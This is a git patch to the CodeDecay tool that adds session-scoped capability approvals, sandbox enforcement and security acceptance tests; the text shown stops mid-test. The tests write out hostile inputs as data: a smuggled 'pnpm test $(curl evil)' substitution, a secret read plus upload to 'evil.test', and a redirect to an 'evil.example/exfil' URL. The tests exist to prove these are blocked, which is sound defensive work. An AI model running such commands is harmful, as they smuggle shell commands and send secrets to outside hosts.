From 70144df183bd28d7ba6073132a28a8b330447d86 Mon Sep 17 00:00:00 2001 From: kunaldhongade Date: Thu, 6 Aug 2026 19:27:08 +0530 Subject: [PATCH] feat(security): close capability policy with approvals, sandbox degrade, UAT MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Add session-scoped exact-scope approvals, sandbox required→blocked degrade, trusted-evidence guards, and UAT-SECURITY-1..7 coverage so #690 can close. --- docs/security/threat-model.md | 21 +- packages/config/src/defaults/config.ts | 3 +- packages/config/src/index.ts | 1 + .../config/src/normalize/capability-policy.ts | 30 +- packages/config/src/types.ts | 3 +- .../config/src/types/capability-policy.ts | 7 + .../config/test/capability-policy.test.ts | 5 +- .../test/config-defaults-loading.test.ts | 3 +- packages/config/test/fixtures/full-config.ts | 3 +- .../execution/src/capability/approvals.ts | 192 ++++++++++++ .../execution/src/capability/authorize.ts | 54 +++- packages/execution/src/capability/evidence.ts | 38 +++ packages/execution/src/capability/index.ts | 23 +- packages/execution/src/capability/sandbox.ts | 101 +++++++ packages/execution/src/capability/types.ts | 17 +- packages/execution/src/command.ts | 3 +- packages/execution/src/index.ts | 21 +- packages/execution/src/types.ts | 10 + .../execution/test/capability-uat.test.ts | 285 ++++++++++++++++++ packages/mcp/src/execution/safety.ts | 1 + 20 files changed, 796 insertions(+), 25 deletions(-) create mode 100644 packages/execution/src/capability/approvals.ts create mode 100644 packages/execution/src/capability/evidence.ts create mode 100644 packages/execution/src/capability/sandbox.ts create mode 100644 packages/execution/test/capability-uat.test.ts diff --git a/docs/security/threat-model.md b/docs/security/threat-model.md index ffcb863..a4de7b1 100644 --- a/docs/security/threat-model.md +++ b/docs/security/threat-model.md @@ -89,21 +89,28 @@ capability to allowed. ## Residual risks -- OS process isolation / sandboxing is platform-dependent; missing sandbox - features must degrade to blocked or visibly weaker isolation, never silent - full access (follow-up under #690). +- Hardened OS sandboxing (seatbelt/seccomp/landlock) is not yet implemented. + `capabilityPolicy.sandbox` defaults to `best-effort` (visibly weaker isolation + with allowlists) and `required` degrades to **blocked**, never silent full + access. See `evaluateProcessIsolation` / `enforceSandboxPolicy`. - Product health checks and capability `network` authorization validate each redirect hop against the allowlist and block credentials-in-URL plus common metadata endpoints. DNS-rebinding defenses for non-literal hostnames are - available via `validateResolvedNetworkDestination` and still need broader - call-site coverage. -- MCP confirmation scopes still need per-tool narrowing beyond the shared - authorize gate. + available via `validateResolvedNetworkDestination`. +- MCP confirmations are session-scoped via `createCapabilityApproval` / + `assertMcpConfirmationScope`; one tool confirmation cannot authorize an + unrelated later tool or a different command scope. - Command denylist is heuristic; allowlisted user commands can still be dangerous if the user authorizes them. - Pattern-based secret redaction is heuristic; unknown secret formats may still leak until allowlisted secret.env values are also scrubbed by exact match. +## Session approvals + +Optional session-scoped approvals bind an exact capability scope (command, +paths, hosts, secrets, MCP tool name) with expiry and single-use consume +semantics (`UAT-SECURITY-5`). Approvals never elevate untrusted intent sources. + ## Audit Capability decisions append to diff --git a/packages/config/src/defaults/config.ts b/packages/config/src/defaults/config.ts index c4f993a..0759578 100644 --- a/packages/config/src/defaults/config.ts +++ b/packages/config/src/defaults/config.ts @@ -14,7 +14,8 @@ export const DEFAULT_CODEDECAY_CONFIG: CodeDecayConfig = { allowCommands: false, capabilityPolicy: { version: CODEDECAY_CAPABILITY_POLICY_VERSION, - allow: [] + allow: [], + sandbox: "best-effort" } }, llm: { diff --git a/packages/config/src/index.ts b/packages/config/src/index.ts index 5b4006b..ff52130 100644 --- a/packages/config/src/index.ts +++ b/packages/config/src/index.ts @@ -12,6 +12,7 @@ export type { CodeDecayCapabilityAllowRule, CodeDecayCapabilityKind, CodeDecayCapabilityPolicy, + CodeDecayCapabilitySandboxMode, CodeDecayCommandToolAdapter, CodeDecayCommands, CodeDecayConfig, diff --git a/packages/config/src/normalize/capability-policy.ts b/packages/config/src/normalize/capability-policy.ts index 13088de..44a52a5 100644 --- a/packages/config/src/normalize/capability-policy.ts +++ b/packages/config/src/normalize/capability-policy.ts @@ -1,13 +1,20 @@ -import type { CodeDecayCapabilityAllowRule, CodeDecayCapabilityKind, CodeDecayCapabilityPolicy } from "../types"; +import type { + CodeDecayCapabilityAllowRule, + CodeDecayCapabilityKind, + CodeDecayCapabilityPolicy, + CodeDecayCapabilitySandboxMode +} from "../types"; import { CODEDECAY_CAPABILITY_KINDS, CODEDECAY_CAPABILITY_POLICY_VERSION } from "../types/capability-policy"; import { isPlainObject, normalizeNonEmptyString, normalizeStringList } from "./primitives"; const CAPABILITY_KIND_SET = new Set(CODEDECAY_CAPABILITY_KINDS); +const SANDBOX_MODES = new Set(["off", "best-effort", "required"]); export function createDefaultCapabilityPolicy(): CodeDecayCapabilityPolicy { return { version: CODEDECAY_CAPABILITY_POLICY_VERSION, - allow: [] + allow: [], + sandbox: "best-effort" }; } @@ -30,16 +37,23 @@ export function normalizeCapabilityPolicy(value: unknown, sourcePath: string): C ? [] : normalizeCapabilityAllowRules(value.allow, `${sourcePath}.allow`); + const sandbox = + value.sandbox === undefined + ? "best-effort" + : normalizeSandboxMode(value.sandbox, `${sourcePath}.sandbox`); + return { version, - allow + allow, + sandbox }; } export function cloneCapabilityPolicy(policy: CodeDecayCapabilityPolicy): CodeDecayCapabilityPolicy { return { version: policy.version, - allow: policy.allow.map((rule) => cloneCapabilityAllowRule(rule)) + allow: policy.allow.map((rule) => cloneCapabilityAllowRule(rule)), + sandbox: policy.sandbox }; } @@ -53,6 +67,14 @@ function normalizeCapabilityPolicyVersion(value: unknown, sourcePath: string): t ); } +function normalizeSandboxMode(value: unknown, field: string): CodeDecayCapabilitySandboxMode { + const text = normalizeNonEmptyString(value, field, field); + if (!SANDBOX_MODES.has(text as CodeDecayCapabilitySandboxMode)) { + throw new Error(`Invalid CodeDecay config at ${field}: sandbox must be one of off, best-effort, required.`); + } + return text as CodeDecayCapabilitySandboxMode; +} + function normalizeCapabilityAllowRules(value: unknown, field: string): CodeDecayCapabilityAllowRule[] { if (!Array.isArray(value)) { throw new Error(`Invalid CodeDecay config at ${field}: must be an array.`); diff --git a/packages/config/src/types.ts b/packages/config/src/types.ts index ce8fd1c..4b77661 100644 --- a/packages/config/src/types.ts +++ b/packages/config/src/types.ts @@ -22,7 +22,8 @@ export type { export type { CodeDecayCapabilityAllowRule, CodeDecayCapabilityKind, - CodeDecayCapabilityPolicy + CodeDecayCapabilityPolicy, + CodeDecayCapabilitySandboxMode } from "./types/capability-policy"; export { CODEDECAY_CAPABILITY_KINDS, diff --git a/packages/config/src/types/capability-policy.ts b/packages/config/src/types/capability-policy.ts index 08c7755..528a5d1 100644 --- a/packages/config/src/types/capability-policy.ts +++ b/packages/config/src/types/capability-policy.ts @@ -30,6 +30,8 @@ export interface CodeDecayCapabilityAllowRule { hosts?: string[] | undefined; } +export type CodeDecayCapabilitySandboxMode = "off" | "best-effort" | "required"; + /** * Versioned capability policy. Default is deny-all elevated capabilities. * `safety.allowCommands` remains separate trusted user intent for command.execute. @@ -37,4 +39,9 @@ export interface CodeDecayCapabilityAllowRule { export interface CodeDecayCapabilityPolicy { version: typeof CODEDECAY_CAPABILITY_POLICY_VERSION; allow: CodeDecayCapabilityAllowRule[]; + /** + * Process isolation posture. `required` blocks when isolation is weaker or + * unsupported instead of silently granting full access. + */ + sandbox?: CodeDecayCapabilitySandboxMode | undefined; } diff --git a/packages/config/test/capability-policy.test.ts b/packages/config/test/capability-policy.test.ts index 036878d..9da9943 100644 --- a/packages/config/test/capability-policy.test.ts +++ b/packages/config/test/capability-policy.test.ts @@ -8,7 +8,8 @@ describe("capability policy config normalization", () => { expect(loaded.config.safety.capabilityPolicy).toEqual({ version: 1, - allow: [] + allow: [], + sandbox: "best-effort" }); }); @@ -23,6 +24,7 @@ describe("capability policy config normalization", () => { " allowCommands: true", " capabilityPolicy:", " version: 1", + " sandbox: required", " allow:", " - capability: artifact.persist", " paths:", @@ -38,6 +40,7 @@ describe("capability policy config normalization", () => { expect(loaded.config.safety.capabilityPolicy).toEqual({ version: 1, + sandbox: "required", allow: [ { capability: "artifact.persist", diff --git a/packages/config/test/config-defaults-loading.test.ts b/packages/config/test/config-defaults-loading.test.ts index ee293da..e309a7d 100644 --- a/packages/config/test/config-defaults-loading.test.ts +++ b/packages/config/test/config-defaults-loading.test.ts @@ -23,7 +23,8 @@ describe("CodeDecay config defaults and loading", () => { allowCommands: false, capabilityPolicy: { version: 1, - allow: [] + allow: [], + sandbox: "best-effort" } }, llm: { diff --git a/packages/config/test/fixtures/full-config.ts b/packages/config/test/fixtures/full-config.ts index 5666fef..49d1149 100644 --- a/packages/config/test/fixtures/full-config.ts +++ b/packages/config/test/fixtures/full-config.ts @@ -112,7 +112,8 @@ export const EXPECTED_FULL_CONFIG: CodeDecayConfig = { allowCommands: true, capabilityPolicy: { version: 1, - allow: [] + allow: [], + sandbox: "best-effort" } }, llm: { diff --git a/packages/execution/src/capability/approvals.ts b/packages/execution/src/capability/approvals.ts new file mode 100644 index 0000000..643dd2f --- /dev/null +++ b/packages/execution/src/capability/approvals.ts @@ -0,0 +1,192 @@ +import { createHash, randomUUID } from "node:crypto"; +import type { CapabilityKind } from "./types"; + +export interface CapabilityApprovalScope { + capability: CapabilityKind; + command?: string | undefined; + paths?: string[] | undefined; + hosts?: string[] | undefined; + secrets?: string[] | undefined; + /** MCP/tool confirmation scope — one approval cannot authorize unrelated tools. */ + toolName?: string | undefined; +} + +export interface CapabilityApproval extends CapabilityApprovalScope { + id: string; + sessionId: string; + createdAt: string; + expiresAt: string; + singleUse: boolean; + consumed: boolean; +} + +export interface CreateCapabilityApprovalInput extends CapabilityApprovalScope { + sessionId: string; + /** Absolute expiry. Defaults to now + ttlMs. */ + expiresAt?: string | undefined; + /** Time-to-live in ms when expiresAt is omitted. Default 5 minutes. */ + ttlMs?: number | undefined; + singleUse?: boolean | undefined; + now?: Date | undefined; +} + +const sessions = new Map>(); + +export function createCapabilityApproval(input: CreateCapabilityApprovalInput): CapabilityApproval { + const now = input.now ?? new Date(); + const ttlMs = input.ttlMs ?? 5 * 60 * 1000; + const expiresAt = input.expiresAt ?? new Date(now.getTime() + ttlMs).toISOString(); + const approval: CapabilityApproval = { + id: `cap-approval-${randomUUID()}`, + sessionId: input.sessionId, + capability: input.capability, + command: input.command, + paths: input.paths ? [...input.paths] : undefined, + hosts: input.hosts ? [...input.hosts] : undefined, + secrets: input.secrets ? [...input.secrets] : undefined, + toolName: input.toolName, + createdAt: now.toISOString(), + expiresAt, + singleUse: input.singleUse ?? true, + consumed: false + }; + + const bucket = sessions.get(input.sessionId) ?? new Map(); + bucket.set(approval.id, approval); + sessions.set(input.sessionId, bucket); + return approval; +} + +export function getCapabilityApproval(sessionId: string, approvalId: string): CapabilityApproval | undefined { + return sessions.get(sessionId)?.get(approvalId); +} + +export function clearCapabilityApprovalSession(sessionId: string): void { + sessions.delete(sessionId); +} + +export function resetCapabilityApprovalSessionsForTests(): void { + sessions.clear(); +} + +export function validateCapabilityApproval( + approval: CapabilityApproval, + request: CapabilityApprovalScope & { now?: Date | undefined } +): { allowed: true } | { allowed: false; reason: string } { + const now = request.now ?? new Date(); + if (approval.consumed) { + return { allowed: false, reason: "capability approval already consumed" }; + } + + if (Date.parse(approval.expiresAt) <= now.getTime()) { + return { allowed: false, reason: "capability approval expired" }; + } + + if (approval.capability !== request.capability) { + return { + allowed: false, + reason: `capability approval is scoped to '${approval.capability}', not '${request.capability}'` + }; + } + + if (approval.toolName && request.toolName && approval.toolName !== request.toolName) { + return { + allowed: false, + reason: `capability approval is scoped to tool '${approval.toolName}', not '${request.toolName}'` + }; + } + + if (approval.command !== undefined) { + if (request.command === undefined || !commandsMatchExactly(approval.command, request.command)) { + return { allowed: false, reason: "capability approval command scope mismatch" }; + } + } + + if (approval.paths && !sameStringSet(approval.paths, request.paths ?? [])) { + return { allowed: false, reason: "capability approval path scope mismatch" }; + } + + if (approval.hosts && !sameStringSet(approval.hosts.map(lower), (request.hosts ?? []).map(lower))) { + return { allowed: false, reason: "capability approval host scope mismatch" }; + } + + if (approval.secrets && !sameStringSet(approval.secrets.map(upper), (request.secrets ?? []).map(upper))) { + return { allowed: false, reason: "capability approval secret scope mismatch" }; + } + + return { allowed: true }; +} + +export function consumeCapabilityApproval(sessionId: string, approvalId: string, now?: Date): CapabilityApproval | undefined { + const approval = getCapabilityApproval(sessionId, approvalId); + if (!approval) { + return undefined; + } + const check = validateCapabilityApproval(approval, { + capability: approval.capability, + command: approval.command, + paths: approval.paths, + hosts: approval.hosts, + secrets: approval.secrets, + toolName: approval.toolName, + now + }); + if (!check.allowed) { + return undefined; + } + if (approval.singleUse) { + approval.consumed = true; + } + return approval; +} + +export function assertMcpConfirmationScope( + approval: CapabilityApproval, + toolName: string, + capability: CapabilityKind +): { allowed: true } | { allowed: false; reason: string } { + return validateCapabilityApproval(approval, { + capability, + toolName, + command: approval.command, + paths: approval.paths, + hosts: approval.hosts, + secrets: approval.secrets + }); +} + +export function approvalFingerprint(scope: CapabilityApprovalScope): string { + return createHash("sha256") + .update( + JSON.stringify({ + capability: scope.capability, + command: scope.command ?? null, + paths: [...(scope.paths ?? [])].sort(), + hosts: [...(scope.hosts ?? [])].map(lower).sort(), + secrets: [...(scope.secrets ?? [])].map(upper).sort(), + toolName: scope.toolName ?? null + }) + ) + .digest("hex"); +} + +function commandsMatchExactly(approved: string, requested: string): boolean { + return approved.trim() === requested.trim(); +} + +function sameStringSet(left: string[], right: string[]): boolean { + if (left.length !== right.length) { + return false; + } + const normalizedLeft = [...left].sort(); + const normalizedRight = [...right].sort(); + return normalizedLeft.every((value, index) => value === normalizedRight[index]); +} + +function lower(value: string): string { + return value.toLowerCase(); +} + +function upper(value: string): string { + return value.toUpperCase(); +} diff --git a/packages/execution/src/capability/authorize.ts b/packages/execution/src/capability/authorize.ts index 5577306..891117d 100644 --- a/packages/execution/src/capability/authorize.ts +++ b/packages/execution/src/capability/authorize.ts @@ -1,5 +1,7 @@ +import { getCapabilityApproval, validateCapabilityApproval, consumeCapabilityApproval } from "./approvals"; import { checkPathWithinAllowedRoots } from "./paths"; import { detectShellSubstitution } from "./shell"; +import { enforceSandboxPolicy } from "./sandbox"; import { validateNetworkDestination } from "./network"; import type { CapabilityAllowRule, @@ -24,6 +26,7 @@ const PATH_SCOPED_CAPABILITIES = new Set(["fs.read", "fs.write", * Untrusted intent sources can never elevate. command.execute additionally * requires trusted allowCommands intent. Other elevated capabilities require * an explicit policy.allow rule from loaded user config. + * Optional session approvals must match exact scope and remain unexpired. */ export function authorizeCapability(request: CapabilityRequest): CapabilityAuthorization { const { capability, intent, policy } = request; @@ -43,8 +46,36 @@ export function authorizeCapability(request: CapabilityRequest): CapabilityAutho } } + const sandbox = enforceSandboxPolicy(policy.sandbox ?? "best-effort"); + if (!sandbox.allowed && (capability === "command.execute" || capability === "process.start" || capability === "package.install")) { + return deny(request, sandbox.reason); + } + + if (request.approval) { + const approval = getCapabilityApproval(request.approval.sessionId, request.approval.approvalId); + if (!approval) { + return deny(request, "capability approval not found for session"); + } + const approvalCheck = validateCapabilityApproval(approval, { + capability: request.capability, + command: request.command, + paths: request.paths, + hosts: request.hosts, + secrets: request.secrets, + toolName: request.approval.toolName, + now: request.approval.now + }); + if (!approvalCheck.allowed) { + return deny(request, approvalCheck.reason); + } + } + if (capability === "command.execute") { - return authorizeCommandExecute(request); + const decision = authorizeCommandExecute(request); + if (decision.allowed && request.approval) { + consumeCapabilityApproval(request.approval.sessionId, request.approval.approvalId, request.approval.now); + } + return decision; } const matchingRules = policy.allow.filter((rule) => rule.capability === capability); @@ -53,17 +84,32 @@ export function authorizeCapability(request: CapabilityRequest): CapabilityAutho } if (PATH_SCOPED_CAPABILITIES.has(capability)) { - return authorizePathScoped(request, matchingRules); + const decision = authorizePathScoped(request, matchingRules); + if (decision.allowed && request.approval) { + consumeCapabilityApproval(request.approval.sessionId, request.approval.approvalId, request.approval.now); + } + return decision; } if (capability === "secret.env") { - return authorizeSecrets(request, matchingRules); + const decision = authorizeSecrets(request, matchingRules); + if (decision.allowed && request.approval) { + consumeCapabilityApproval(request.approval.sessionId, request.approval.approvalId, request.approval.now); + } + return decision; } if (capability === "network") { - return authorizeHosts(request, matchingRules); + const decision = authorizeHosts(request, matchingRules); + if (decision.allowed && request.approval) { + consumeCapabilityApproval(request.approval.sessionId, request.approval.approvalId, request.approval.now); + } + return decision; } + if (request.approval) { + consumeCapabilityApproval(request.approval.sessionId, request.approval.approvalId, request.approval.now); + } return allow(request, `capability '${capability}' granted by policy`); } diff --git a/packages/execution/src/capability/evidence.ts b/packages/execution/src/capability/evidence.ts new file mode 100644 index 0000000..177910c --- /dev/null +++ b/packages/execution/src/capability/evidence.ts @@ -0,0 +1,38 @@ +import type { CapabilityIntentSource } from "./types"; + +const UNTRUSTED_EVIDENCE_SOURCES = new Set([ + "agent", + "memory", + "mcp", + "generated-experiment", + "model" +]); + +/** + * Fake agent/tool success claims cannot forge verified capability evidence. + * Only trusted runtime/tool execution through packages/execution counts. + */ +export function isTrustedCapabilityEvidenceSource(source: CapabilityIntentSource): boolean { + return source === "user-config" || source === "cli-flag"; +} + +export function assertTrustedCapabilityEvidence(input: { + source: CapabilityIntentSource; + claim: "verified" | "passed" | "safe"; +}): { trusted: true } | { trusted: false; reason: string } { + if (UNTRUSTED_EVIDENCE_SOURCES.has(input.source)) { + return { + trusted: false, + reason: `untrusted source '${input.source}' cannot forge ${input.claim} capability evidence` + }; + } + + if (!isTrustedCapabilityEvidenceSource(input.source)) { + return { + trusted: false, + reason: `source '${input.source}' is not trusted capability evidence` + }; + } + + return { trusted: true }; +} diff --git a/packages/execution/src/capability/index.ts b/packages/execution/src/capability/index.ts index 96e63a2..b2b2f3c 100644 --- a/packages/execution/src/capability/index.ts +++ b/packages/execution/src/capability/index.ts @@ -1,7 +1,25 @@ export { authorizeCapability } from "./authorize"; -export { appendCapabilityAuditEvent, resolveCapabilityAuditPath, CAPABILITY_AUDIT_RELATIVE_PATH } from "./audit"; +export { + appendCapabilityAuditEvent, + resolveCapabilityAuditPath, + CAPABILITY_AUDIT_RELATIVE_PATH +} from "./audit"; +export { + assertMcpConfirmationScope, + approvalFingerprint, + clearCapabilityApprovalSession, + consumeCapabilityApproval, + createCapabilityApproval, + getCapabilityApproval, + resetCapabilityApprovalSessionsForTests, + validateCapabilityApproval +} from "./approvals"; +export type { CapabilityApproval, CapabilityApprovalScope, CreateCapabilityApprovalInput } from "./approvals"; +export { assertTrustedCapabilityEvidence, isTrustedCapabilityEvidenceSource } from "./evidence"; export { checkPathWithinAllowedRoots } from "./paths"; export { detectShellSubstitution } from "./shell"; +export { evaluateProcessIsolation, enforceSandboxPolicy } from "./sandbox"; +export type { ProcessIsolationEvaluation, SandboxEnforcement, SandboxMode } from "./sandbox"; export { redactSecretsFromText, redactSecretsFromUnknown } from "./redact"; export { fetchWithoutExternalRedirect, @@ -22,6 +40,7 @@ export type { CapabilityIntentSource, CapabilityKind, CapabilityPolicy, - CapabilityRequest + CapabilityRequest, + CapabilitySandboxMode } from "./types"; export type { NetworkDestinationCheck, NetworkDestinationPolicy } from "./network"; diff --git a/packages/execution/src/capability/sandbox.ts b/packages/execution/src/capability/sandbox.ts new file mode 100644 index 0000000..426a319 --- /dev/null +++ b/packages/execution/src/capability/sandbox.ts @@ -0,0 +1,101 @@ +export type SandboxMode = "off" | "best-effort" | "required"; + +export interface ProcessIsolationEvaluation { + platform: NodeJS.Platform; + supported: boolean; + mechanisms: string[]; + weakerIsolation: boolean; + notes: string[]; +} + +export interface SandboxEnforcement { + allowed: boolean; + mode: SandboxMode; + reason: string; + isolation: ProcessIsolationEvaluation; +} + +/** + * Evaluate maintained process-isolation mechanisms available to CodeDecay. + * CodeDecay does not claim a full OS sandbox on every platform; missing + * features must never silently imply full isolation. + */ +export function evaluateProcessIsolation(platform: NodeJS.Platform = process.platform): ProcessIsolationEvaluation { + const mechanisms: string[] = []; + const notes: string[] = []; + + // Baseline bounds available through packages/execution spawn helpers. + mechanisms.push("timeout-kill", "output-size-bounds", "capability-allowlist"); + + if (platform === "linux" || platform === "darwin") { + mechanisms.push("posix-process-tree"); + notes.push( + `${platform} currently lacks a CodeDecay-managed hardened sandbox (no seccomp/seatbelt profile); isolation is visibly weaker than a full OS sandbox.` + ); + } else if (platform === "win32") { + notes.push("Windows process-tree isolation is limited; treat isolation as weaker."); + } else { + notes.push(`Unsupported platform '${platform}' for hardened process isolation.`); + } + + // Hardened sandbox (seatbelt/seccomp/landlock) is not yet implemented. + const hardenedSandboxAvailable = false; + const supported = mechanisms.length > 0; + const weakerIsolation = !hardenedSandboxAvailable; + + return { + platform, + supported, + mechanisms, + weakerIsolation, + notes + }; +} + + +/** + * Enforce sandbox policy. `required` degrades to blocked when isolation is + * unsupported or visibly weaker. `best-effort` allows with an explicit weaker + * isolation reason. `off` skips enforcement. + */ +export function enforceSandboxPolicy( + mode: SandboxMode = "best-effort", + platform: NodeJS.Platform = process.platform +): SandboxEnforcement { + const isolation = evaluateProcessIsolation(platform); + + if (mode === "off") { + return { + allowed: true, + mode, + reason: "sandbox mode is off; capability allowlists still apply", + isolation + }; + } + + if (mode === "required" && (isolation.weakerIsolation || !isolation.supported)) { + return { + allowed: false, + mode, + reason: + "sandbox mode is required but process isolation is unsupported or weaker on this platform; degrading to blocked (never silent full access)", + isolation + }; + } + + if (isolation.weakerIsolation) { + return { + allowed: true, + mode, + reason: "sandbox best-effort with visibly weaker isolation; capability allowlists still apply", + isolation + }; + } + + return { + allowed: true, + mode, + reason: "sandbox best-effort isolation mechanisms are available", + isolation + }; +} diff --git a/packages/execution/src/capability/types.ts b/packages/execution/src/capability/types.ts index 604a98f..cd003cf 100644 --- a/packages/execution/src/capability/types.ts +++ b/packages/execution/src/capability/types.ts @@ -35,9 +35,16 @@ export interface CapabilityAllowRule { hosts?: string[] | undefined; } +export type CapabilitySandboxMode = "off" | "best-effort" | "required"; + export interface CapabilityPolicy { version: typeof CAPABILITY_POLICY_VERSION; allow: CapabilityAllowRule[]; + /** + * Process isolation posture. `required` blocks when isolation is weaker or + * unsupported instead of silently granting full access. + */ + sandbox?: CapabilitySandboxMode | undefined; } export interface CapabilityIntent { @@ -57,6 +64,13 @@ export interface CapabilityRequest { /** Absolute allowed roots for path-scoped capabilities. */ allowedRoots?: string[] | undefined; cwd?: string | undefined; + /** Optional session-scoped approval that must match exact capability scope. */ + approval?: { + sessionId: string; + approvalId: string; + toolName?: string | undefined; + now?: Date | undefined; + } | undefined; } export interface CapabilityAuthorization { @@ -92,6 +106,7 @@ export interface CapabilityAuditEvent { export function createDefaultCapabilityPolicy(): CapabilityPolicy { return { version: CAPABILITY_POLICY_VERSION, - allow: [] + allow: [], + sandbox: "best-effort" }; } diff --git a/packages/execution/src/command.ts b/packages/execution/src/command.ts index 7de717b..49497a0 100644 --- a/packages/execution/src/command.ts +++ b/packages/execution/src/command.ts @@ -74,7 +74,8 @@ export async function runConfiguredCommand(options: RunConfiguredCommandOptions) }, policy, command: options.command, - cwd: options.cwd + cwd: options.cwd, + approval: options.capabilityApproval }); if (auditEnabled) { diff --git a/packages/execution/src/index.ts b/packages/execution/src/index.ts index aff87ba..230a62a 100644 --- a/packages/execution/src/index.ts +++ b/packages/execution/src/index.ts @@ -6,11 +6,23 @@ export { appendCapabilityAuditEvent, resolveCapabilityAuditPath, CAPABILITY_AUDIT_RELATIVE_PATH, + assertMcpConfirmationScope, + assertTrustedCapabilityEvidence, + approvalFingerprint, checkPathWithinAllowedRoots, + clearCapabilityApprovalSession, + consumeCapabilityApproval, + createCapabilityApproval, detectShellSubstitution, + enforceSandboxPolicy, + evaluateProcessIsolation, fetchWithoutExternalRedirect, + getCapabilityApproval, + isTrustedCapabilityEvidenceSource, redactSecretsFromText, redactSecretsFromUnknown, + resetCapabilityApprovalSessionsForTests, + validateCapabilityApproval, validateNetworkDestination, validateResolvedNetworkDestination, CAPABILITY_KINDS, @@ -19,6 +31,8 @@ export { } from "./capability"; export type { CapabilityAllowRule, + CapabilityApproval, + CapabilityApprovalScope, CapabilityAuditEvent, CapabilityAuditPhase, CapabilityAuthorization, @@ -27,8 +41,13 @@ export type { CapabilityKind, CapabilityPolicy, CapabilityRequest, + CapabilitySandboxMode, + CreateCapabilityApprovalInput, NetworkDestinationCheck, - NetworkDestinationPolicy + NetworkDestinationPolicy, + ProcessIsolationEvaluation, + SandboxEnforcement, + SandboxMode } from "./capability"; export type { CommandExecutionResult, diff --git a/packages/execution/src/types.ts b/packages/execution/src/types.ts index 9a3a6d7..188dacd 100644 --- a/packages/execution/src/types.ts +++ b/packages/execution/src/types.ts @@ -23,6 +23,16 @@ export interface RunConfiguredCommandOptions { capabilityIntentSource?: CapabilityIntentSource | undefined; /** When false, skips writing capability audit events. Defaults to true. */ capabilityAudit?: boolean | undefined; + /** + * Optional session-scoped approval. When set, the command may run only with + * the exact approved scope and expires after consume/session TTL. + */ + capabilityApproval?: { + sessionId: string; + approvalId: string; + toolName?: string | undefined; + now?: Date | undefined; + } | undefined; } export interface CommandSafetyCheck { diff --git a/packages/execution/test/capability-uat.test.ts b/packages/execution/test/capability-uat.test.ts new file mode 100644 index 0000000..6eae5f1 --- /dev/null +++ b/packages/execution/test/capability-uat.test.ts @@ -0,0 +1,285 @@ +import { randomUUID } from "node:crypto"; +import { mkdirSync, readFileSync, rmSync, symlinkSync, writeFileSync } from "node:fs"; +import { createServer } from "node:http"; +import { tmpdir } from "node:os"; +import { join } from "node:path"; +import { afterEach, describe, expect, it } from "vitest"; +import { + appendCapabilityAuditEvent, + assertMcpConfirmationScope, + assertTrustedCapabilityEvidence, + authorizeCapability, + checkPathWithinAllowedRoots, + createCapabilityApproval, + createDefaultCapabilityPolicy, + createSafeCommandPolicy, + detectShellSubstitution, + enforceSandboxPolicy, + evaluateProcessIsolation, + fetchWithoutExternalRedirect, + resetCapabilityApprovalSessionsForTests, + resolveCapabilityAuditPath, + runConfiguredCommand, + validateNetworkDestination +} from "../src/index"; + +const tempRoots: string[] = []; + +afterEach(() => { + resetCapabilityApprovalSessionsForTests(); + for (const root of tempRoots.splice(0)) { + rmSync(root, { recursive: true, force: true }); + } +}); + +describe("UAT capability policy (#690)", () => { + it("UAT-SECURITY-1: malicious secret read + upload capabilities are denied and audited", () => { + const cwd = createTempDir(); + const secret = authorizeCapability({ + capability: "secret.env", + intent: { source: "agent" }, + policy: { + version: 1, + allow: [{ capability: "secret.env", secrets: ["AWS_SECRET_ACCESS_KEY"] }] + }, + secrets: ["AWS_SECRET_ACCESS_KEY"] + }); + const network = authorizeCapability({ + capability: "network", + intent: { source: "memory" }, + policy: { + version: 1, + allow: [{ capability: "network", hosts: ["evil.test"] }] + }, + hosts: ["evil.test"] + }); + + expect(secret.allowed).toBe(false); + expect(network.allowed).toBe(false); + + appendCapabilityAuditEvent({ + cwd, + phase: "denied", + capability: "secret.env", + intentSource: "agent", + decision: "deny", + reason: secret.reason + }); + appendCapabilityAuditEvent({ + cwd, + phase: "denied", + capability: "network", + intentSource: "memory", + decision: "deny", + reason: network.reason + }); + + const audit = readFileSync(resolveCapabilityAuditPath(cwd), "utf8"); + expect(audit).toContain('"phase":"denied"'); + expect(audit).toContain("secret.env"); + expect(audit).toContain("network"); + }); + + it("UAT-SECURITY-2: generated experiment shell substitution is rejected before execution", async () => { + expect(detectShellSubstitution("pnpm test $(curl evil)")).toContain("command substitution"); + const result = await runConfiguredCommand({ + command: "pnpm test $(curl evil)", + cwd: createTempDir(), + timeoutMs: 1000, + safety: { allowCommands: true }, + capabilityIntentSource: "generated-experiment" + }); + expect(result.status).toBe("blocked"); + }); + + it("UAT-SECURITY-3: symlinked output path cannot escape allowed artifact directory", () => { + const root = createTempDir(); + const allowed = join(root, "artifacts"); + const outside = join(root, "outside"); + mkdirSync(allowed, { recursive: true }); + mkdirSync(outside, { recursive: true }); + writeFileSync(join(outside, "secret.txt"), "secret", "utf8"); + const link = join(allowed, "escape"); + symlinkSync(outside, link); + + const check = checkPathWithinAllowedRoots(join(link, "secret.txt"), [allowed], root); + expect(check.allowed).toBe(false); + expect(check.reason).toContain("escapes allowed roots"); + }); + + it("UAT-SECURITY-4: allowed local HTTP target redirecting externally is blocked", async () => { + const server = await createRedirectServer("https://evil.example/exfil"); + try { + await expect( + fetchWithoutExternalRedirect(server.url, { allowedHosts: ["127.0.0.1"] }) + ).rejects.toThrow(/not allowlisted|blocked/i); + } finally { + await server.close(); + } + + expect( + validateNetworkDestination("http://127.0.0.1/health", { allowedHosts: ["127.0.0.1"] }).allowed + ).toBe(true); + }); + + it("UAT-SECURITY-5: approved command runs only with exact scope and expires after consume/session", async () => { + const cwd = createTempDir(); + const sessionId = "session-uat-5"; + const command = "node -e \"console.log('approved')\""; + const approval = createCapabilityApproval({ + sessionId, + capability: "command.execute", + command, + ttlMs: 60_000, + singleUse: true + }); + + const first = await runConfiguredCommand({ + command, + cwd, + timeoutMs: 1000, + safety: createSafeCommandPolicy({ allowCommands: true }), + capabilityApproval: { sessionId, approvalId: approval.id } + }); + expect(first.status).toBe("passed"); + + const reused = await runConfiguredCommand({ + command, + cwd, + timeoutMs: 1000, + safety: createSafeCommandPolicy({ allowCommands: true }), + capabilityApproval: { sessionId, approvalId: approval.id } + }); + expect(reused.status).toBe("blocked"); + expect(reused.blockedReason).toContain("already consumed"); + + const other = createCapabilityApproval({ + sessionId, + capability: "command.execute", + command: "node -e \"console.log('other')\"", + ttlMs: 60_000 + }); + const mismatch = await runConfiguredCommand({ + command, + cwd, + timeoutMs: 1000, + safety: createSafeCommandPolicy({ allowCommands: true }), + capabilityApproval: { 